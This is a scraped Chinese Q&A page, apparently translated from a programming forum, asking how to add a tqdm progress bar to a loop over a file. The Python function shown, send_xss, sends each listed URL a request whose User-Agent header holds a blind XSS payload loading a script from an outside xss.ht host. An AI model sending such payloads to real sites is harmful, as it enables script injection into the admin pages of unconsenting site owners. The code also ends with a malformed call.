首页 > 解决方案 > 如何在读取文件中每一行的循环旁边使用 tqdm?

问题描述

我有一个 for 循环从文件中逐行读取。我在这个循环中使用了一个 try 语句。
我想知道如何使用 tqdm 来检查进度?

我尝试了很多方法,但都失败了。
我的输出:
100%|████████████████████████████████████████████ ██████████████████████████████████████████████████ ███████████████████████| 10/10 [00:00<00:00, 712.34it/s] 100%|██████████████████████████████ ██████████████████████████████████████████████████ █████████████████████████████████████| 10/10 [00:00<00:00, 674.33it/s] 100%|███████████████████████████████ ██████████████████████████████████████████████████ █████████████████████████████████████| 10/10 [00:00<00:00, 543.35it/s]


对于每个请求,我都会得到一个被动输出。这是否意味着如果我的文件包含 100 个 url,我的代码将输出 100 tqdm 被动结果行?

我怎样才能检查全局进度?

def send_xss(filee):
    urls_file = open(filee , 'r') #open the file to Reading
    timeout = 0.5 # Specified Timeout => [used in timeouting printer and request sender]
    
    # Looping To Count File Lines
    count = 0
    with open(filee , 'r') as f:
        for line in f:
            count +=1

    for url in urls_file:
        url=url.strip()

        try:
            req = requests.get(url=url,headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko "><script src=https://useagent.xss.ht></script>) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.125'})
                
        except:
            pass
        
        for i in tqdm(range(count)):
            time.sleep(0.001)

        time.sleep(1) # sleep 1 sec after each request
                          
    urls_file.close()


def('urls.txt') #send paylouds to all urls from this file

标签: python-3.x

解决方案


推荐阅读